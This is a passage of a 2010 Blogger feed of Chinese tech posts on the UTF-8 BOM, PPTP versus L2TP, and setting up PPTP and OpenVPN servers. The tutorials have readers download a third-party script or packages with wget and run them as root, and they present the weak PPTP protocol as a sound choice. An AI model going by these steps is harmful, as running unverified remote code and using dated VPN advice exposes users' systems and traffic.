/&gt;另外，DreamWeaver CS3也有类似的选项，在“首选项”中，如果选择 Unicode (UTF-8) 作为默认编码，则可以选择“包括 Unicode 签名 (BOM)”选项，以在文档中包括字节顺序标记 (BOM)。否则，不带BOM：&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Lr7AKaVWcQI/TPHC2jKw1kI/AAAAAAAAAdQ/scRm7rGDNiU/s1600/no_leech2.gif" imageanchor="1" ref="lightbox" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="448" src="http://1.bp.blogspot.com/_Lr7AKaVWcQI/TPHC2jKw1kI/AAAAAAAAAdQ/scRm7rGDNiU/s640/no_leech2.gif" width="550" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;三、其他知识&lt;/span&gt;&lt;br /&gt;从&lt;u&gt;&lt;a href="http://blog.csdn.net/thimin/archive/2007/08/03/1724393.aspx" style="color: blue;" target="_blank"&gt;http://blog.csdn.net/thimin/archive/2007/08/03/1724393.aspx&lt;/a&gt;&lt;/u&gt; 一文了解到：&lt;br /&gt;所谓的unicode保存的文件实际上是utf-16，只不过恰好跟unicode的码相同而已,但在概念上unicode与utf是两回 事，unicode是内存编码表示方案，而utf是如何保存和传输unicode的方案。utf-16还分高位在前  (LE)和高位在后(BE)两种。官方的utf编码还有utf-32，也分LE和BE。非unicode官方的utf编码还有utf-7，主要用于邮件传 输。utf-8的单字节部分是和iso-8859-1兼容的，这主要是一些旧的系统和库函数不能正确处理utf-16而被迫出来的，而且对英语字符来说， 也节省保存的文件空间（以非英语字符浪费空间为代价）。在iso-8859-1的时候，utf8和iso-8859-1都是用一个字节表示的，当表示其它 字符的时候，utf-8会使用两个或三个字节。 &lt;br /&gt;&lt;br /&gt;一段关于BOM的更详细说明，来自&lt;a href="http://www.jb51.net/article/18528.htm" target="_blank"&gt;这里&lt;/a&gt;：&lt;br /&gt;在UCS  编码中有一个叫做"ZERO WIDTH NO-BREAK  SPACE"的字符，它的编码是FEFF。而FFFE在UCS中是不存在的字符，所以不应该出现在实际传输中。UCS规范建议我们在传输字节流前，先传输 字符"ZERO WIDTH NO-BREAK  SPACE"。这样如果接收者收到FEFF，就表明这个字节流是Big-Endian的；如果收到FFFE，就表明这个字节流是Little- Endian的。因此字符"ZERO WIDTH NO-BREAK SPACE"又被称作BOM。 &lt;br /&gt;&lt;br /&gt;UTF-8不需要BOM来表明字节顺序，但可以用BOM来表明编码方式。字符"ZERO WIDTH NO-BREAK SPACE"的UTF-8编码是EF BB BF。所以如果接收者收到以EF BB BF开头的字节流，就知道这是UTF-8编码了。 &lt;br /&gt;&lt;br /&gt;Windows就是使用BOM来标记文本文件的编码方式的。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-1257342039177976529?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/1257342039177976529/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=1257342039177976529' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/1257342039177976529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/1257342039177976529'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/utf-8unicodebom.html' title='UTF-8、Unicode和BOM问题'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Lr7AKaVWcQI/TPHC5y4THOI/AAAAAAAAAdU/UvC5qnBA5dM/s72-c/no_leech.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-8609713423248521094</id><published>2010-11-28T10:40:00.000+08:00</published><updated>2010-11-28T10:40:23.184+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><title type='text'>使用GeoIP在Wireshark中显示IP的地理位置</title><content type='html'>本来想直接贴视频，结果发现搞不定～～&lt;br /&gt;&lt;br /&gt;那还是贴地址吧：&lt;br /&gt;&lt;u&gt;&lt;a href="http://www.securitytube.net/Setting-up-GeoIP-to-Track-IP-Address-Locations-in-Wireshark-video.aspx" style="color: blue;"&gt;http://www.securitytube.net/Setting-up-GeoIP-to-Track-IP-Address-Locations-in-Wireshark-video.aspx&lt;/a&gt;&lt;/u&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-8609713423248521094?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/8609713423248521094/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=8609713423248521094' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8609713423248521094'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8609713423248521094'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/geoipwiresharkip.html' title='使用GeoIP在Wireshark中显示IP的地理位置'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-6389834340967343167</id><published>2010-11-25T11:22:00.000+08:00</published><updated>2010-11-25T11:22:14.058+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='download'/><category scheme='http://www.blogger.com/atom/ns#' term='ebook'/><title type='text'>Cisco ISP Essentials</title><content type='html'>思科网站上下载的免费电子书，不过我忘记下载链接了……囧&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;a href="http://www.xun6.com/file/2a169b443/IOS+Essentials+2-9.rar.html" style="color: blue;"&gt;点击下载&lt;/a&gt;&lt;/u&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-6389834340967343167?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/6389834340967343167/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=6389834340967343167' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6389834340967343167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6389834340967343167'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/cisco-isp-essentials.html' title='Cisco ISP Essentials'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-5240170567446768160</id><published>2010-11-24T16:34:00.001+08:00</published><updated>2010-11-24T16:34:57.274+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VPN'/><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>PPTP和L2TP的区别</title><content type='html'>PPTP和L2TP都使用PPP协议对数据进行封装，然后添加附加包头用于数据在互联网络上的传输。尽管两个协议非常相似，但是仍存在以下几方面的不同：&lt;br /&gt;&lt;br /&gt;1.PPTP要求互联网络为IP网络。L2TP只要求隧道媒介提供面向数据包的点对点的连接。L2TP可以在IP（使用UDP），桢中继永久虚拟电路（PVCs),X.25虚拟电路（VCs）或ATM VCs网络上使用。&lt;br /&gt;&lt;br /&gt;2.PPTP只能在两端点间建立单一隧道。L2TP支持在两端点间使用多隧道。使用L2TP，用户可以针对不同的服务质量创建不同的隧道。&lt;br /&gt;&lt;br /&gt;3.L2TP可以提供包头压缩。当压缩包头时，系统开销（overhead）占用4个字节，而PPTP协议下要占用6个字节。&lt;br /&gt;&lt;br /&gt;4.L2TP可以提供隧道验证，而PPTP则不支持隧道验证。但是当L2TP或PPTP与IPSEC共同使用时，可以由IPSEC提供隧道验证，不需要在第2层协议上验证隧道。&lt;br /&gt;&lt;br /&gt;总之，对于一般的使用者来说，L2TP有更强的穿透率，更好的压缩，更好的加密（双层加密），所以如果你在使用PPTP失败的时候可以尝试L2TP。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-5240170567446768160?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/5240170567446768160/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=5240170567446768160' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/5240170567446768160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/5240170567446768160'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/pptpl2tp.html' title='PPTP和L2TP的区别'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-8719278821585853042</id><published>2010-11-24T08:40:00.003+08:00</published><updated>2010-11-30T11:20:15.878+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><title type='text'>中国城管军歌</title><content type='html'>中国城管不愧是最强大的陆地兵种&lt;br /&gt;&lt;embed src="http://player.56.com/v_NTY1MTk4NzY.swf"  type="application/x-shockwave-flash" width="480" height="395" allowNetworking="all" allowScriptAccess="always"&gt;&lt;/embed&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-8719278821585853042?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/8719278821585853042/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=8719278821585853042' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8719278821585853042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/8719278821585853042'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/blog-post.html' title='中国城管军歌'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-6374652823018229108</id><published>2010-11-22T11:16:00.000+08:00</published><updated>2010-11-22T11:16:50.133+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VPN'/><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>架设PPTP VPN及在Linux上远程连接VPN</title><content type='html'>本文所涉及的运行环境：远程服务器为 VPSLink 上低配置 Xen VPS ( 注意，OpenVZ VPS 是不能安装 PPTP VPN 的），Linux 系统为 Ubuntu 9.04 ，本地服务器为 Ubuntu Server 9.10 。&lt;br /&gt;&lt;br /&gt;1. 如何快速搭建一个VPN（pptp）&lt;br /&gt;# 安装服务器端软件&lt;br /&gt;&lt;blockquote&gt;apt-get install pptpd&lt;/blockquote&gt;&lt;br /&gt;# 配置IP地址范围，编辑/etc/pptpd.conf，在最后添加如下地址：&lt;br /&gt;&lt;blockquote&gt;localip 192.168.0.1&lt;br /&gt;remoteip 192.168.0.234-238,192.168.0.245&lt;/blockquote&gt;&lt;br /&gt;# 这两句设置了当外部计算机通过pptp联接到vpn后所能拿到的ip地址范围和服务器的ip地址设置。&lt;br /&gt;# 增加一个用户，编辑/etc/ppp/chap-secrets，在下面增加类似的条目：&lt;br /&gt;&lt;blockquote&gt;username pptpd password *&lt;/blockquote&gt;&lt;br /&gt;# 重启pptpd服务&lt;br /&gt;&lt;blockquote&gt;/etc/init.d/pptpd restart&lt;/blockquote&gt;&lt;br /&gt;# 编辑：/etc/ppp/options，在里面找一下”ms-dns”项目：&lt;br /&gt;&lt;blockquote&gt;ms-dns 8.8.8.8&lt;br /&gt;ms-dns 8.8.4.4&lt;/blockquote&gt;&lt;br /&gt;#允许转发，编辑/etc/sysctl.conf，看一下net.ipv4.ip_forward参数是不是1，或直接执行以下命令来查看&lt;br /&gt;&lt;blockquote&gt;sysctl net.ipv4.ip_forward&lt;/blockquote&gt;&lt;br /&gt;# 如果输出为 0 的话就要修改 /etc/sysctl.conf 中的 net.ipv4.ip_forward ，把 0 改为1，然后执行以下命令。&lt;br /&gt;&lt;blockquote&gt;sysctl -p&lt;/blockquote&gt;&lt;br /&gt;# 最后，运行一下这条命令来打开iptables的转发支持：&lt;br /&gt;&lt;blockquote&gt;/sbin/iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o eth0 -j MASQUERADE&lt;br /&gt;/sbin/iptables -I FORWARD -p tcp –syn -i ppp+ -j TCPMSS –set-mss 1356&lt;/blockquote&gt;&lt;br /&gt;# 并把这两条加入到 /etc/rc.local 中的 exit 0 行前面，这样重启后就无需再执行了。&lt;br /&gt;&lt;br /&gt;# 好了，PPTP VPN 到此就架设好了，你现在可以用 Windows 自带的 VPN 连接工具来连接了，这个应该非常简单。那么下面我再说说如何在 Ubuntu 上手工配置 PPTP VPN 连接吧。&lt;br /&gt;&lt;br /&gt;2 .如何在 Linux 上连接 PPTP VPN&lt;br /&gt;# 安装 Linux 上的 pptp 客户端&lt;br /&gt;&lt;blockquote&gt;apt-get install pptp-linux&lt;/blockquote&gt;&lt;br /&gt;# 把下面两行加入 /etc/rc.local , 放在 exit 0 这一行的前面&lt;br /&gt;&lt;blockquote&gt;/usr/sbin/pptpsetup –create lable –server ip –username username –password password –encrypt&lt;br /&gt;/usr/sbin/pppd call lable&lt;/blockquote&gt;&lt;br /&gt;# 说明：这两行命令是最简便的建立 PPTP 连接方式。&lt;br /&gt;&lt;br /&gt;Label: 用户自定义&lt;br /&gt;IP: 是 VPN 的 IP 地址&lt;br /&gt;Username 及 Password ：登录 VPN 的用户名和密码&lt;br /&gt;&lt;br /&gt;# 把下面两行加入 /etc/ppp/ip-up 中，删除默认网关及把 VPN 服务器作为默认网关，也就是改变路由策略，把所以传输流量通过 VPN 线路来走。&lt;br /&gt;&lt;blockquote&gt;/sbin/route add default gw 192.168.0.1&lt;br /&gt;/sbin/route del default gw 原来的网关 // 原来的默认网关地址可通过 route 命令来获取&lt;/blockquote&gt;&lt;br /&gt;# 另外，如果你想把此服务器作为网关服务器的话，那就按照前面架设 PPTP VPN 一节中的方式，设置 net.ipv4.ip_forward 参数来打开包转发。并把下面两行加入到 /etc/rc.local 中。&lt;br /&gt;&lt;blockquote&gt;/sbin/iptables -t nat -A POSTROUTING -s 内网IP/24 -o ppp0 -j MASQUERADE&lt;br /&gt;/sbin/iptables -I FORWARD -p tcp –syn -i ppp+ -j TCPMSS –set-mss 1356&lt;/blockquote&gt;&lt;br /&gt;# 重启服务器，你可以用 ifconfig 看一下，会多出一个 ppp0 的网络接口了。另外，你可以 traceroute twitter.com 看一下，是否通过 ppp0 的网关出去的，如果是的话，就说明工作正常。&lt;br /&gt;&lt;br /&gt;# 注意：在作网关服务器的时候，建议使用 Google 的 DNS ，国内很多 DNS 被污染了，无法正常解析 Twitter 等网站。&lt;br /&gt;&lt;br /&gt;# 修改 /etc/resolv.conf 中，改为如下两行&lt;br /&gt;&lt;blockquote&gt;nameserver 8.8.8.8&lt;br /&gt;nameserver 8.8.4.4&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-6374652823018229108?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/6374652823018229108/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=6374652823018229108' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6374652823018229108'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6374652823018229108'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/pptp-vpnlinuxvpn.html' title='架设PPTP VPN及在Linux上远程连接VPN'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-3544672293080089161</id><published>2010-11-22T11:12:00.000+08:00</published><updated>2010-11-22T11:12:41.340+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VPN'/><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>CentOS 5 VPS配置pptpd为VPN服务器</title><content type='html'>VPS一般每个月也用不完流量，不用也是浪费，所以我们要榨干VPS，哈哈。(以下命令建立在64位CentOS 5上 ,并且 pptpd VPN需要内核支持mppe)&lt;br /&gt;&lt;br /&gt;下面为配置命令：&lt;br /&gt;&lt;br /&gt;先安装ppp和iptables.&lt;br /&gt;&lt;blockquote&gt;yum install -y ppp iptables&lt;/blockquote&gt;然后下载pptpd.&lt;br /&gt;&lt;br /&gt;64位操作系统.&lt;br /&gt;&lt;blockquote&gt;wget http://acelnmp.googlecode.com/files/pptpd-1.3.4-1.rhel5.1.x86_64.rpm&lt;/blockquote&gt;&lt;br /&gt;32位操作系统.&lt;br /&gt;&lt;blockquote&gt;wget http://acelnmp.googlecode.com/files/pptpd-1.3.4-1.rhel5.1.i386.rpm&lt;/blockquote&gt;&lt;br /&gt;安装pptpd&lt;br /&gt;&lt;br /&gt;64位操作系统&lt;br /&gt;&lt;blockquote&gt;rpm -ivh pptpd-1.3.4-1.rhel5.1.x86_64.rpm&lt;/blockquote&gt;&lt;br /&gt;32位操作系统&lt;br /&gt;&lt;blockquote&gt;rpm -ivh pptpd-1.3.4-1.rhel5.1.i386.rpm&lt;/blockquote&gt;&lt;br /&gt;接下来编辑/etc/pptpd.conf文件，去掉下面两行的注释或者直接添加这两行&lt;br /&gt;&lt;blockquote&gt;vim /etc/pptpd.conf&lt;br /&gt;localip 192.168.0.1&lt;br /&gt;remoteip 192.168.0.234-238,192.168.0.245&lt;/blockquote&gt;&lt;br /&gt;添加VPN用户和密码,按照下面格式.密码后的*号保留.&lt;br /&gt;&lt;blockquote&gt;vim /etc/ppp/chap-secrets&lt;br /&gt;username pptpd password *&lt;/blockquote&gt;设置DNS为Google的DNS.&lt;br /&gt;&lt;blockquote&gt;vim /etc/ppp/options.pptpd&lt;/blockquote&gt;找到ms-dns改成.&lt;br /&gt;&lt;blockquote&gt;ms-dns 8.8.8.8&lt;br /&gt;ms-dns 8.8.4.4&lt;/blockquote&gt;编辑/etc/sysctl.conf文件，找到”net.ipv4.ip_forward=1″这一行，去掉前面的注释。没有就添加上.&lt;br /&gt;&lt;blockquote&gt;net.ipv4.ip_forward=1&lt;/blockquote&gt;运行下面的命令让配置生效。&lt;br /&gt;&lt;blockquote&gt;sysctl -p&lt;/blockquote&gt;重启pptpd服务&lt;br /&gt;&lt;blockquote&gt;/etc/init.d/pptpd restart&lt;/blockquote&gt;最后开启iptables转发&lt;br /&gt;&lt;blockquote&gt;/sbin/iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o eth0 -j MASQUERADE&lt;/blockquote&gt;最后设置iptables和pptpd开机自动启动&lt;br /&gt;&lt;blockquote&gt;chkconfig pptpd on chkconfig iptables on&lt;/blockquote&gt;好了,下面可以用VPN自由呼吸了。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-3544672293080089161?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/3544672293080089161/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=3544672293080089161' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/3544672293080089161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/3544672293080089161'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2010/11/centos-5-vpspptpdvpn.html' title='CentOS 5 VPS配置pptpd为VPN服务器'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-782717362331428009</id><published>2010-11-22T09:30:00.002+08:00</published><updated>2010-11-22T09:32:00.923+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VPN'/><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Debian/Ubuntu下搭建OpenVPN与客户端配置教程</title><content type='html'>下面介绍如何在Debian系统搭建OpenVPN服务器端以及如何配置Windows客户端。&lt;br /&gt;&lt;br /&gt;&lt;b&gt;服务器端&lt;/b&gt;&lt;br /&gt;1.至少拥有一台VPS或独立服务器&lt;br /&gt;2.基于Openvz的VPS只能安装OpenVPN，XEN可安装PPTP，但不在本文讨论范围不再赘述&lt;br /&gt;3.检验是否支持Tun/Tap和nat，以Root登陆输入&lt;br /&gt;&lt;blockquote&gt;&lt;code&gt;cat /dev/net/tun&lt;/code&gt;&lt;/blockquote&gt;若返回cat: /dev/net/tun: File descriptor in bad state 则说明tun可用输入&lt;br /&gt;&lt;blockquote&gt;&lt;code&gt;iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o venet0 -j MASQUERADE&lt;/code&gt;&lt;/blockquote&gt;若返回iptables: No chain/target/match by that name 则说明nat模块正常可用    &lt;br /&gt;若以上返回信息不符请联系客服要求开通Tun/Tap和iptable nat。&lt;br /&gt;4.修改服务器DNS&lt;br /&gt;&lt;code&gt;vi /etc/resolv.conf&lt;/code&gt;    &lt;br /&gt;修改DNS为：&lt;br /&gt;&lt;code&gt;nameserver 8.8.8.8&lt;/code&gt;&lt;br /&gt;&lt;code&gt;nameserver 8.8.4.4&lt;/code&gt;&lt;br /&gt;5.本想一步步写，但经友人提醒有个VPSNOC John Malkowski的Debian OpenVPN脚本基本我下面的步骤雷同且我的教程步骤过于复杂，考虑安装方便所以放弃原教程奉上一键安装脚本。&lt;br /&gt;&lt;blockquote&gt;&lt;code&gt;wget &lt;a href="http://vpsnoc.com/scripts/debian-openvpn.sh"&gt;http://vpsnoc.com/scripts/debian-openvpn.sh&lt;/a&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;chmod +x debian-openvpn.sh&lt;/code&gt;&lt;br /&gt;&lt;code&gt;./debian-openvpn.sh&lt;/code&gt;&lt;/blockquote&gt;稍等片刻，依次出现需要填写内容：   &lt;br /&gt;国家（两个英文字母）    &lt;br /&gt;省份/州（两个英文字母）    &lt;br /&gt;城市（英文字母）    &lt;br /&gt;组织名称 （英文字母）    &lt;br /&gt;部门名称 （英文字母）    &lt;br /&gt;通用名&amp;nbsp; （英文字母）    &lt;br /&gt;姓名&amp;nbsp; （英文字母）    &lt;br /&gt;邮箱密码（英文数字组合）    &lt;br /&gt;凭证名&amp;nbsp; （英文字母）    &lt;br /&gt;按两次Y后，安装完成。    &lt;br /&gt;安装完成后root目录下会出现一个keys.tgz压缩包，使用Tunnelier或WinSCP将压缩包下载至本地，待用。&lt;br /&gt;6.生产客户端证书&lt;br /&gt;&lt;blockquote&gt;&lt;code&gt;cd /etc/openvpn/easy-rsa/2.0&lt;/code&gt;&lt;br /&gt;&lt;code&gt;../vars&lt;/code&gt;&lt;br /&gt;&lt;code&gt;./build-key user1&lt;/code&gt;&lt;/blockquote&gt;&lt;br /&gt;将user1换成期望用户名，按照步骤5中信息填写方式，完成证书生成。至此服务器安装基本完成。&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Windows客户端配置&lt;/b&gt;    &lt;br /&gt;&lt;b&gt;&lt;/b&gt;1.下载OpenVPN：&lt;a href="http://www.openvpn.net/index.php/open-source/downloads.html"&gt;http://www.openvpn.net/index.php/open-source/downloads.html&lt;/a&gt; 下载最新版本的Windows Installer安装包。&lt;br /&gt;2.运行安装，建议win7/vista 将openvpn安装至非系统分区，如：D:\net\openvpn。按过程中会出现安装网卡驱动（型号为：TAP-WinXX Apapter V9）安全警告，确认继续。&lt;br /&gt;3.修改DNS，注意：是修改新增加的这个虚拟网卡后出现的新连接，如果你不知道是哪个无所谓，把所有连接的DNS都设置成OpenDNS或者GoogleDNS吧，步骤：&lt;br /&gt;Win7 &lt;a href="https://store.opendns.com/setup/operatingsystem/windows-7"&gt;https://store.opendns.com/setup/operatingsystem/windows-7&lt;/a&gt;&lt;br /&gt;Vista &lt;a href="https://store.opendns.com/setup/operatingsystem/windows-vista"&gt;https://store.opendns.com/setup/operatingsystem/windows-vista&lt;/a&gt;&lt;br /&gt;XP &lt;a href="https://store.opendns.com/setup/operatingsystem/windows-xp"&gt;https://store.opendns.com/setup/operatingsystem/windows-xp&lt;/a&gt;&lt;br /&gt;推荐使用Google DNS :8.8.8.8和 8.8.4.4替换OpenDNS的208.67.222.222 208.67.220.220。   &lt;br /&gt;4.解压从服务器上down下来的keys.tgz，解压至openvpn安装目录下的config目录，如：D:\openvpn\config。    &lt;br /&gt;5.运行桌面上的OpenVPN GUI图标（如果是win7/vista系统请以管理员身份运行）右击右OpenVPN图标点Connect    &lt;br /&gt;6.稍等出现分配完成后说明链接成功。    &lt;br /&gt;进入&lt;a href="http://www.dnsstuff.com/"&gt;http://www.dnsstuff.com&lt;/a&gt; 测试下吧。&lt;br /&gt;&lt;br /&gt;&lt;b&gt;配置新用户&lt;/b&gt;    &lt;br /&gt;&lt;b&gt;&lt;/b&gt;OpenVPN一个证书只能对应一个用户，如果你想给朋友开通OpenVPN需要现在服务器上配置一个客户端证书（服务器端配置的 6.生产客户端证书），然后修改*.ovpn文件，将其证书和配置打包发给你的朋友，并教其修改连接DNS，使用OpenVPN。    &lt;br /&gt;下面分步骤细说：    &lt;br /&gt;1.按照服务器端配置的步骤 6，生成客户端新证书    &lt;br /&gt;2.使用Tunnelier或WinSCP前往/etc/openvpn/easy-rsa/2.0/keys并下载刚生成的新证书，如：步骤 6中输入的是&lt;br /&gt;&lt;blockquote&gt;&lt;code&gt;./build-key user1&lt;/code&gt;&lt;/blockquote&gt;&lt;br /&gt;那么/etc/openvpn/easy-rsa/2.0 /keys文件夹下的应该会新增user1.crt,user1.key,user1.csr三  个文件，将这三个文件连同*.ovpn和ca.crt、ca.key三个文件一起下载到本地，用EditPlus或其他编辑编辑器打开下载下来  的*.ovpn文件将其中的&lt;br /&gt;&lt;code&gt;cert client1.crt&lt;/code&gt;&lt;br /&gt;&lt;code&gt;key client1.key&lt;/code&gt;    &lt;br /&gt;修改为：&lt;br /&gt;&lt;code&gt;cert user1.crt&lt;/code&gt;&lt;br /&gt;&lt;code&gt;key user1.key&lt;/code&gt;    &lt;br /&gt;保存，打包发送给你的朋友。&lt;br /&gt;3.教其安装OpenVPN客户端，并解压*.opvn配置文件和证书至openvpn安装目录下的config目录中&lt;br /&gt;4.教其修改DNS和使用OpenVPN。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-782717362331428009?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/782717362331428009/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=782717362331428009' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/782717362331428009'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/782717362331428009'/><link rel='alternate' type='text/html' 